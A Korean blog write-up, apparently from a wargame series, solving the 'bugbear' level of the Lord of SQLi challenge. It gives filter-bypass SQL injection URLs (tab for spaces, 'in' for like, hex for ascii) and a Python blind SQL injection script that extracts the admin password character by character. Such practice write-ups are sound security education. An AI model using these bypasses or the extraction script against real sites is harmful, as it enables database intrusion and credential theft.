cgy12306
[LOS] bugbear 본문
pw에는 '(작은따옴표)가 필터링 되어 있고, no에는 substr, ascii, =, or, and, like, 0x, 공백이 필터링 되어 있다.
공백은 전에 했던 것 처럼 %09(tab)으로 우회가 가능하고 like는 in으로 우회가 가능하다.
in을 사용할 때 값이 괄호()로 덮어줘야 하고 '(작은따옴표)나 "(큰따옴표)로 묶어줘야 한다.
우선 패스워드의 길이를 알아보자.
https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?pw=123&no=1%09||%09id%09in%09("admin")%26%26length(pw)%09<%09"20"#%20
pw의 길이는 19자 이하이다.
https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?pw=123&no=1%09||%09id%09in%09(%22admin%22)%26%26length(pw)%09in%09(%228%22)#%20
최종 pw의 길이는 8글자이다. 이제 blind sql injection 코드를 짜보자.
코드 작성 시 유의할 사항은 ascii를 우회할 때 ord도 사용이 가능하지만 위에서 or이 필터링 되어 있기 때문에 ord는 사용이 불가능하다. hex로도 우회가 가능하니 hex를 사용하자.
import requests
arry=[]
cookies = {'__cfduid': '', 'PHPSESSID' : ''}
for k in range(1,9):
for j in range(32,127):
res = requests.get(url='https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?pw=123&no=1%09||%09id%09in%09("admin")%26%26hex(mid(pw,'+str(k)+',1))%09in%09("'+str(j)+'")#%20' ,cookies=cookies)
if 'Hello admin' in res.text:
print(k,' : ', j, "O")
arry.append(chr(int(str(j),16))) # 16진수를 10진수로 변환
break
else:
print(k,' : ' , j, "X")
print(arry)
비밀번호는 735c2773이다.
'Wargame > LOS' 카테고리의 다른 글
[LOS] assassin (0) | 2019.08.23 |
---|---|
[LOS] giant (0) | 2019.08.23 |
[LOS] darkknight (0) | 2019.08.23 |
[LOS] golem (0) | 2019.08.23 |
[LOS] skeleton (0) | 2019.08.13 |
Comments